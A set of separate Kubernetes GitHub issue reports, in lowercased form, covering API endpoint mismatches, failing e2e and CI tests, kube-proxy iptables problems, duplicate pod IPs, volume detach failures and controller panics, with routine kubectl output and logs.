<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r 1. in order to watch individual changes to a list of pod,  kubernetes api reference v1.10  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/ watch-list-65  says that http request should be made to endpoint  get /api/v1/watch/namespaces/{namespace}/pods  but while executing e2e tests it is found that   watch function   on pod is hitting api-endpoint  get /api/v1/namespaces/{namespace}/pods \r \r 2. while executing e2e test suit  get /api/v1/watch/namespaces/{namespace}/pods  endpoint is never observed.\r \r   what you expected to happen  :\r watch function should make request to  /api/v1/watch/namespaces/{namespace}/pods  endpoint with  get  http verb to watch individual changes to a list of pod.  based on api reference documentation  or documentation needs correction based on observed endpoint  /api/v1/namespaces/{namespace}/pods .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r some references of pod specific api endpoints hit during e2e test execution are -\r 1. https://github.com/cncf/k8s-conformance/issues/220 issuecomment-393344061\r 2. https://github.com/cncf/apisnoop/issues/17 issuecomment-394866106\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cc @wangzhen127 @rohfle @aishsundar

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r some of the tests are spawning pods with hostnetwork=true, but it is not required in order for them to pass. some of the tests are:\r \r      sig-network  networking granular checks: pods should function for intra-pod communication: http  nodeconformance \r      sig-network  networking granular checks: pods should function for intra-pod communication: udp  nodeconformance \r      sig-network  networking granular checks: pods should function for node-pod communication: http  nodeconformance \r      sig-network  networking granular checks: pods should function for node-pod communication: udp  nodeconformance \r      sig-network  networking granular checks: services  slow  should function for pod-service: http\r      sig-network  networking granular checks: services  slow  should function for pod-service: udp\r      sig-network  networking granular checks: services  slow  should function for node-service: http\r      sig-network  networking granular checks: services  slow  should function for node-service: udp\r      sig-network  networking granular checks: services  slow  should update endpoints: http\r      sig-network  networking granular checks: services  slow  should update endpoints: udp\r \r additionally, pods with   hostnetwork=true   are not supported on windows nodes. running the tests using pods   hostsnetwork=false   will allow the tests to run properly on windows nodes as well.\r \r   what you expected to happen  :\r \r tests should also be able to run and pass using windows nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the mentioned tests using windows nodes.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.0-rc.2\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : windows server 1803\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-node-kubelet-beta in  sig-release-1.14-blocking node-kubelet-1.14  https://testgrid.k8s.io/sig-release-1.14-blocking node-kubelet-1.14  dashboard\r \r   which test s  are failing  :\r all  beforesuite   s.\r \r   since when has it been failing  :\r 2019-02-19  when it was created \r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-1.14-blocking node-kubelet-1.14\r \r   reason for failure  :\r error hints at an issue with the setup order:\r    \r _output/local/go/src/k8s.io/kubernetes/test/e2e_node/e2e_node_suite_test.go:142\r node 1 disappeared before completing beforesuite\r _output/local/go/src/k8s.io/kubernetes/test/e2e_node/e2e_node_suite_test.go:142\r    \r \r    based on the name of the testgrid view and the test job, please reassign if i got this wrong \r / /milestone v1.14\r \r cc @kubernetes/sig-node-test-failures \r cc @smourapina @alejandrox1 @kacole2 @mortent \r

<!--\r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r

kubernetes version    1.4.0    environment  : - aws - ubuntu 16.04 - 4.4.0-22-generic    what happened  :  1 of 6 nodes in a cluster stopped connecting to other services.    after looking at  ps fax  i could see that there was a   iptables  <defunct>  process child of kube-proxy.  iptables-save  was also missing all of the service rules.  restarting the kube-proxy container caused the rules to be created and services started to work.    what you expected to happen  :  the correct iptables rules should have been made.    how to reproduce it    as minimally and precisely as possible :  unable to reproduce    anything else do we need to know  :  kube-proxy logs.      root@ip-10-12-4-85:~  tail -f /var/log/kube-proxy.log  e1012 21:41:08.700491       6 server.go:369  can't get node \ ip-10-12-4-85\ , assuming iptables proxy, err: nodes \ ip-10-12-4-85\  not found i1012 21:41:08.701680       6 server.go:203  using iptables proxier. w1012 21:41:08.729704       6 server.go:417  failed to retrieve node info: nodes \ ip-10-12-4-85\  not found w1012 21:41:08.729795       6 proxier.go:226  invalid nodeip, initialize kube-proxy with 127.0.0.1 as nodeip i1012 21:41:08.729824       6 server.go:215  tearing down userspace rules. i1012 21:41:08.738934       6 conntrack.go:40  setting nf_conntrack_max to 131072 i1012 21:41:08.739675       6 conntrack.go:57  setting conntrack hashsize to 32768 i1012 21:41:08.739994       6 conntrack.go:62  setting nf_conntrack_tcp_timeout_established to 86400 w1012 22:11:24.534765       6 reflector.go:330  pkg/proxy/config/api.go:30: watch of  api.service ended with: too old resource version: 609  4476  w1012 22:13:25.510114       6 reflector.go:330  pkg/proxy/config/api.go:30: watch of  api.service ended with: too old resource version: 4477  4479       the failed node info is an issue but isn't breaking kube-proxy on any other nodes. and this same node worked without any change once the container was restarted.

especially given that it's using token auth.\r \r https://github.com/kubernetes/kubernetes/blob/b09b20b5987510ac183eb35dde0b658cc36947af/cluster/vagrant/provision-utils.sh l181\r https://github.com/kubernetes/kubernetes/blob/b09b20b5987510ac183eb35dde0b658cc36947af/cluster/vagrant/provision-utils.sh l206

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r docs, generated docs, generated\r ---\r \r   is this a bug report or feature request?    choose one :\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.7 dev cycle\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r the docs has been moved to kubernetes.github.io for around a year now. the kubernetes docs directory still exist, ideally we should have all the docs under kubernetes.github.io. as part of recent discussion and work, static content of docs directory has been removed but we couldn't remove generated docs. the following prs are related to the related work and discussion,\r https://github.com/kubernetes/kubernetes/pull/46348\r https://github.com/kubernetes/kubernetes/pull/46813\r kubernetes/kubernetes.github.io 3996\r \r   what you expected to happen  :\r find a good way to remove generated code, and remove them along with docs directory.\r \r   how to reproduce it    as minimally and precisely as possible :\r refer to the docs and discussion in above mentioned prs.\r \r   anything else we need to know  :\r

request for help in incubator feature:\r \r node feature discovery for kubernetes -- https://github.com/kubernetes-incubator/node-feature-discovery - @kubernetes/sig-node\r \r \r \r ---\r \r request for help in incubator feature: filed after discussion with @connordoyle \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r ./label-nodes.sh job fails and never seems to complete. i changed the api version in node-feature-discovery-job.json.template from \ extensions/v1beta1\  to \ batch/v1\  to get to this stage. \r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.737+562e721ece8a16\ , gitcommit:\ 562e721ece8a16e05c7e7d6bdd6334c910733ab2\ , gittreestate:\ clean\ , builddate:\ 2017-06-15t14:01:19z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.737+562e721ece8a16\ , gitcommit:\ 562e721ece8a16e05c7e7d6bdd6334c910733ab2\ , gittreestate:\ clean\ , builddate:\ 2017-06-15t14:01:19z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r architecture:          x86_64\r cpu op-mode s :        32-bit, 64-bit\r byte order:            little endian\r cpu s :                20\r on-line cpu s  list:   0-19\r thread s  per core:    2\r core s  per socket:    10\r socket s :             1\r numa node s :          1\r vendor id:             genuineintel\r cpu family:            6\r model:                 79\r model name:            intel r  xeon r  cpu e5-2630 v4 @ 2.20ghz\r stepping:              1\r cpu mhz:               1294.836\r bogomips:              4394.03\r virtualization:        vt-x\r l1d cache:             32k\r l1i cache:             32k\r l2 cache:              256k\r l3 cache:              25600k\r numa node0 cpu s :     0-19\r \r memtotal:       32866120 kb\r memfree:        20788280 kb\r memavailable:   28305740 kb\r \r -   os    e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r -   kernel    e.g.  uname -a  :\r linux unknown484d7ef0b631.attlocal.net 4.11.0-rc8  1 smp sat apr 29 19:59:45 pdt 2017 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r ./label-nodes.sh job fails and never seems to complete. i changed the api version in node-feature-discovery-job.json.template from \ extensions/v1beta1\  to \ batch/v1\  to get to this stage -- without this change the job didn't even start.\r \r   what you expected to happen  :\r \r ./label-nodes.sh job to complete.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r run ./label-nodes.sh as recommended by node feature discovery. i am using /hack/local-up-cluster.sh to start to k8s cluster. \r \r   anything else we need to know  :\r \r i tried as a normal user and as privileged user.\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  : \r i was using kubernetes to setup a bunch of demo environments, and noticed that sometimes, it appeared as if the loadbalancer was treating the pod of another deployment as its own pod. after some debugging i found out that when the pods are brought up, they got assigned the same ip.\r \r   what you expected to happen  :\r kubernetes must poll for ips that are already taken before assigning an ip to a pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i actually do not know how to reproduce the problem. we did not have any infrastructure level events, except that i was handling a bunch of deployments at that time.\r \r   anything else we need to know?  :\r two things that are to be noted: \r \r 1. i noticed this problem occured over. three deployments were affected, where on different instances, two pods belonging to different deployments shared the same ip address. \r \r \r    \r $ kubectl get pods -o wide\r name                                 ready     status    restarts   age       ip            node\r k8sacc-drupaldemo-2612891940-74qr9   1/1       running   0          5d        10.240.0.25   k8s-agent-82f8582-1\r k8sacc-drupaldev-1306823299-gvsjf    1/1       running   0          3d        10.240.0.26   k8s-agent-82f8582-1\r k8sacc-drupalqa-3650587400-tkrcr     1/1       running   0          2h        10.240.0.25   k8s-agent-82f8582-2\r k8sacc-drupalux-1958487503-05709     1/1       running   0          26d       10.241.0.6    k8s-agent-82f8582-0\r k8sacc-drupalux-1958487503-95xx3     1/1       running   0          26d       10.240.0.19   k8s-agent-82f8582-2\r    \r \r the second time round:\r    \r $ kubectl get pods -o wide\r name                                 ready     status        restarts   age       ip            node\r k8sacc-drupaldemo-2122692172-1w04g   1/1       running       0          1h        10.240.0.26   k8s-agent-82f8582-2\r k8sacc-drupaldev-1306823299-gvsjf    1/1       running       0          3d        10.240.0.26   k8s-agent-82f8582-1\r k8sacc-drupalqa-3650587400-tkrcr     1/1       running       0          5h        10.240.0.25   k8s-agent-82f8582-2\r k8sacc-drupalux-1958487503-05709     1/1       running       0          27d       10.241.0.6    k8s-agent-82f8582-0\r k8sacc-drupalux-1958487503-95xx3     1/1       running       0          27d       10.240.0.19   k8s-agent-82f8582-2\r    \r \r 2. this raised questions of what about the pods within the kube-system namespace. i noticed that the dashboard was having a  crashloopbackoff  and had lots of restarts just because it got assigned an ip that was already taken, i presume.\r \r    \r $ kubectl get pods -o wide --all-namespaces\r namespace     name                                           ready     status             restarts   age       ip             node\r default       k8sacc-drupaldemo-2122692172-dh3c7             1/1       running            0          15h       10.240.0.30    k8s-agent-82f8582-1\r default       k8sacc-drupaldev-1306823299-gvsjf              1/1       running            0          4d        10.240.0.26    k8s-agent-82f8582-1\r default       k8sacc-drupalqa-3650587400-tkrcr               1/1       running            0          21h       10.240.0.25    k8s-agent-82f8582-2\r default       k8sacc-drupalux-1958487503-05709               1/1       running            0          27d       10.241.0.6     k8s-agent-82f8582-0\r default       k8sacc-drupalux-1958487503-95xx3               1/1       running            0          27d       10.240.0.19    k8s-agent-82f8582-2\r kube-system   heapster-v1.2.0-1516787090-x21g1               2/2       running            0          45d       10.241.0.4     k8s-agent-82f8582-0\r kube-system   kube-addon-manager-k8s-master-82f8582-0        1/1       running            22         45d       10.241.255.5   k8s-master-82f8582-0\r kube-system   kube-apiserver-k8s-master-82f8582-0            1/1       running            194        45d       10.241.255.5   k8s-master-82f8582-0\r kube-system   kube-controller-manager-k8s-master-82f8582-0   1/1       running            34         45d       10.241.255.5   k8s-master-82f8582-0\r kube-system   kube-dns-v19-2jf6h                             2/3       running            35228      45d       10.241.0.3     k8s-agent-82f8582-0\r kube-system   kube-dns-v19-qdw2c                             1/3       crashloopbackoff   35235      45d       10.241.0.2     k8s-agent-82f8582-0\r kube-system   kube-proxy-6nm6g                               1/1       running            0          45d       10.241.0.6     k8s-agent-82f8582-0\r kube-system   kube-proxy-hgb9h                               1/1       running            0          45d       10.241.255.5   k8s-master-82f8582-0\r kube-system   kube-proxy-r915m                               1/1       running            0          45d       10.241.0.5     k8s-agent-82f8582-1\r kube-system   kube-proxy-w89l8                               1/1       running            0          45d       10.241.0.4     k8s-agent-82f8582-2\r kube-system   kube-scheduler-k8s-master-82f8582-0            1/1       running            31         45d       10.241.255.5   k8s-master-82f8582-0\r kube-system   kubernetes-dashboard-3868706175-3t6f5          0/1       crashloopbackoff   12568      45d       10.241.0.5     k8s-agent-82f8582-0\r    \r \r > therefore, this seems to be one of the things where kubernetes, if it thinks the environment is misconfigured, it must fail instead of trying to make it work.\r \r ^ lol i guess i was trying to say two things and merged the sentences. \r kubernetes has issues with the environment and tries to fix it by plain restart so many times. perhaps after a point it must delete the pod and try to bring it back up with the added checks instead of trying infinitely. i get that this is a risky strategy for the  kube-system  pods, but that is just too many restarts for a problem that was apparently fixed by a delete 😅 \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release : ubuntu 16.04.2 lts\r - kernel  e.g.  uname -a  : \r    linux k8s-master-82f8582-0 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux   \r - install tools: azure arm template\r - others:\r \r \r   edited for more clarity.

part of  27140, this issue should be resolve before the feature exits alpha.\r \r ephemeral containers are currently always created with pull policy always, which means they will not work with offline installations with pre-pulled images.\r \r   is this a bug report or feature request?  : feature request\r \r   /assign @verb

the clientcert used to identify the apiserver to the admission webhook should match the ca used to terminate client cert authentication, not the one used to terminate front proxies.  the current flags being used are incorrect.\r \r @kubernetes/sig-api-machinery-bugs

we have seen a few issues indicating that scheduler cache becomes stale and no longer reflects the most recent state of the cluster   42433,  56057,  43806 .\r scheduler cache issues can be very subtle to debug. in order to make it easier, we would like to build a mechanism in scheduler to resync its informers and rebuild its cache periodically and then compare the newly rebuilt cache to its existing cache and log error messages when it sees discrepancies. this feature will be disabled by default. we will probably enable it in our tests and in clusters where customers see stale cache issues\r \r   is this a bug report or feature request?  :\r  \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : when a node failure occurs and new pod is scheduled but get stuck in continercreating status\r \r   what you expected to happen  : cinder volume should have been detached from node and attached to new node where pod is scheduled\r \r   how to reproduce it  as minimally and precisely as possible   :  \r steps : \r 1.deploy mysql deployment with pv\r kubectl apply -f https://k8s.io/examples/application/wordpress/mysql-deployment.yaml\r \r 2.check where pod is running\r kubectl get pods -o wide\r \r 3.shutdown node where pod is running\r init 0\r \r 4. wait for pod to get scheduled on new node\r kubectl get pods -o wide\r \r ! image  https://user-images.githubusercontent.com/6219755/50335430-5048de80-0531-11e9-8230-3043b6fe7cc9.png \r \r 5. retrieve more details of pod\r kubectl describe pod wordpress-mysql-7d4fc77fdc-8nvc5\r \r ! image  https://user-images.githubusercontent.com/6219755/50335500-838b6d80-0531-11e9-8a8d-a16d1a3fa07f.png \r \r \r   anything else we need to know?  :  \r \r even rook with ceph rbd gives same error \r \r ! image  https://user-images.githubusercontent.com/6219755/50335609-d6652500-0531-11e9-89b4-d9c9082bff2a.png \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: \r 4cpu & 8 gb ram\r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux ktest1 4.4.0-138-generic  164-ubuntu smp tue oct 2 17:16:02 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubeadm v1.13.1\r \r - others:\r \r \r @kubernetes/sig-openstack @kubernetes/sig-storage @kubernetes/sig-cluster-lifecycle\r <!-- do not edit below this line -->\r 

it seems that i always get invalid mirrors for sqlite all the time.     ==> minion-3: installing, enabling prerequisites ==> minion-3: http://www.nic.funet.fi/pub/mirrors/fedora.redhat.com/pub/fedora/linux/updates/21/x86_64/repodata/3adcf8e530329b8382055194d225bb218301b24dce31f6bec84d4e2147c1b8ee-updateinfo.xml.xz:  errno 14  http error 404 - not found ==> minion-3: trying other mirror. ==> minion-3: ftp://ftp.funet.fi/pub/mirrors/fedora.redhat.com/pub/fedora/linux/updates/21/x86_64/repodata/f7cf33e93d6f66f5ae0c4af96cc53fcae28c2d4ec16f372d31a8057a6179f2cd-primary.sqlite.xz:  errno 14   error 550 - given file does not exist ==> minion-3: trying other mirror.      ==> minion-2: http://mirror.vutbr.cz/fedora/updates/21/x86_64/repodata/6023f62702f0d31706eba16601a9e09b26acfe4a3e0ac51303a4502221e63352-updateinfo.xml.xz:  errno 14  http error 404 - not found ==> minion-2: trying other mirror. ==> minion-2: https://www.mirrorservice.org/sites/dl.fedoraproject.org/pub/fedora/linux/updates/21/x86_64/repodata/5aa6cf03095ead3abeff245cb260199272b2467378977e56f792fdfb51d3da03-primary.sqlite.xz:  errno 14  https error 404 - not found ==> minion-2: trying other mirror. ==> minion-2: http://mirror.onet.pl/pub/mirrors/fedora/linux//updates/21/x86_64/repodata/5aa6cf03095ead3abeff245cb260199272b2467378977e56f792fdfb51d3da03-primary.sqlite.xz:  errno 14  http error 404 - not found ==> minion-2: trying other mirror. ==> minion-2: ftp://ftp.mirrorservice.org/sites/dl.fedoraproject.org/pub/fedora/linux/updates/21/x86_64/repodata/6023f62702f0d31706eba16601a9e09b26acfe4a3e0ac51303a4502221e63352-updateinfo.xml.xz:  errno 14  ftp error 550 - given file does not exist ==> minion-2: trying other mirror.

from the  doc shared with kubernetes-dev mailing list  https://docs.google.com/document/d/1jngrrzymgnxovunnzver_tokh_z11vvskxllxu1gg0a/   post-submit tests must not test things that are not tested by presubmit tests. postsubmit tests _may_ test things that take lots of resources. - good example: kubemark-5 in presubmit, kubemark-500 in postsubmit. - bad example: both of the above as a postsubmit.

replicaset_test.go:236: failed to create replica set: client: etcd member http://127.0.0.1:4001 has no leader      https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/30116/kubernetes-pull-test-unit-integration/38695/

bug  \r \r using kubernetes 1.5.1 with ceph rbd.\r \r storage class:\r    \r  bluecmd-laptop $ kubectl get storageclass --output=yaml\r apiversion: v1\r items:\r - apiversion: storage.k8s.io/v1beta1\r   kind: storageclass\r   metadata:\r     annotations:\r       storageclass.beta.kubernetes.io/is-default-class: \ true\ \r     creationtimestamp: 2016-12-22t14:12:38z\r     name: generic\r     namespace: \ \ \r     resourceversion: \ 2375670\ \r     selflink: /apis/storage.k8s.io/v1beta1/storageclassesgeneric\r     uid: b1ee8459-c850-11e6-b7c2-ac162d706004\r   parameters:\r       redacted  \r   provisioner: kubernetes.io/rbd\r kind: list\r metadata: {}\r resourceversion: \ \ \r selflink: \ \ \r    \r \r the following pvcs work just fine:\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: test-claim-nothing\r   namespace: default\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 8gi\r    \r \r adding annotations to specify the storage class also works, but  only  if the annotation is using volume.beta.kubernetes.io:\r    \r annotations:\r     volume.beta.kubernetes.io/storage-class: generic\r    \r \r   problem: if using the following pvc, the pvc gets stuck.  \r \r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: test-claim-alpha-test\r   annotations:\r     volume.alpha.kubernetes.io/storage-class: generic\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r    \r \r    \r  bluecmd-laptop $ kubectl describe pvc test-claim-alpha-test\r name:\t\ttest-claim-alpha-test\r namespace:\tdefault\r storageclass:\tgeneric\r status:\t\tpending\r volume:\t\t\r labels:\t\t<none>\r capacity:\t\r access modes:\t\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t-------\r   3s\t\t3s\t\t1\t{persistentvolume-controller }\t\t\twarning\t\tprovisioningfailed\tcannot find volume plugin for alpha provisioning\r    \r \r compare with another claim using the beta annotation:\r    \r  bluecmd-laptop $ kubectl describe pvc test-claim-beta\r name:\t\ttest-claim-beta\r namespace:\tdefault\r storageclass:\tgeneric\r status:\t\tbound\r volume:\t\tpvc-3fe365fb-c918-11e6-8d1f-ac162d706004\r labels:\t\t<none>\r capacity:\t8gi\r access modes:\trwo\r no events.\r    \r \r hypothesis: maybe rbd wasn't available in alpha and thus the alpha annotations only works for what was associated with the alpha to ensure compatibility  for good and for worse ?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/4132/ failed: testcheckapiservice {autoregister}      autoregister_controller_test.go:266: do nothing 0  unexpected action:  {{ watch {apiregistration.k8s.io  apiservices} } {  }}

the current experience around  kubectl drain  when the eviction is forbidden by a pdb is that it simply hangs and reports no status back to the user. we should improve this so that we at least print the operation we're trying to do, to give the user some idea of progress.\r \r /cc @kubernetes/sig-cli-feature-requests

kubernetes version    use  kubectl version  :\r master.\r \r   what happened  :\r unstructured converter from  apimachinery/pkg/conversion/unstructured  does not roundtrip  apimachinery/pkg/apis/meta/v1/unstructured.unstructured .\r \r   what you expected to happen  :\r when i call  tounstructured    on a  runtime.object  which is backed by   unstructured  it should basically make a copy of the content  can be optimized btw using deep copy  40657  and not a json object with  object  key.\r \r   how to reproduce it    as minimally and precisely as possible :\r see the test in my branch https://github.com/atlassian/kubernetes/commit/7cd448300025604622b5eae8f3a966fa5b9dbe4c\r test output:\r    \r make test what=./vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured kube_goflags=\ -v\ \r running tests for apiversion: v1,admissionregistration.k8s.io/v1alpha1,admission.k8s.io/v1alpha1,apps/v1beta1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2alpha1,batch/v1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,federation/v1beta1\r +++  0622 14:34:54  running tests without code coverage\r === run   testunstructuredlist\r --- pass: testunstructuredlist  0.00s \r === run   testconversionroundtrip\r --- fail: testconversionroundtrip  0.00s \r         unstructured_test.go:112: fromunstructured failed: object 'kind' is missing in '{\ object\ :{\ apiversion\ :\ v1\ ,\ kind\ :\ foo\ ,\ metadata\ :{\ name\ :\ foo1\ }}}'\r fail\r exit status 1\r fail    k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured      0.050s\r make:      test  error 1\r    \r \r   anything else we need to know  :\r for some reason  36721 changed the argument types from  runtime.object  to  interface{} . i guess the intent is to make the converter a more generic tool. but based on the previous signature i assume i'm doing the right thing. actually, my code works with  runtime.object  and i don't know if the actual object behind the interface is an   unstructured  or not - i just pass it to the converter and it works for usual api types, but not for unstructured.\r also it would be useful to have a more type-safe version of the converter  i.e. the previous signature  that just delegates to a lower-level converter that does not care about types.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r expand controller crashed during local volume tests:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/15441\r \r    \r e0905 22:41:20.044090      19 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:514\r /usr/local/go/src/runtime/panic.go:489\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:290\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/cache/volume_resize_map.go:92\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/pvc_populator.go:83\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/pvc_populator.go:66\r 